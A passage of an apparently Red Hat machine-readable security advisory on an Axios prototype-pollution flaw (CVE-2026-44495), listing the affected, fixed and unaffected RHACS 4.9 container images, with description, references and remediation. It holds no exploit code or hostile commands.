"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution"
},
{
"cve": "CVE-2026-44495",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:00:53.999811+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487937"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Information disclosure due to prototype pollution vulnerability",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important vulnerability in Axios, a promise-based HTTP client, can lead to information disclosure, including credential theft and response hijacking, or denial of service. Exploitation requires a separate prototype pollution vulnerability in the same JavaScript process, allowing an attacker to control `Object.prototype.transformResponse`. Red Hat products using affected Axios versions are at risk if another component introduces such pollution.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "RHBZ#2487937",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487937"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44495"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
}
],
"release_date": "2026-06-11T15:33:12.433000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
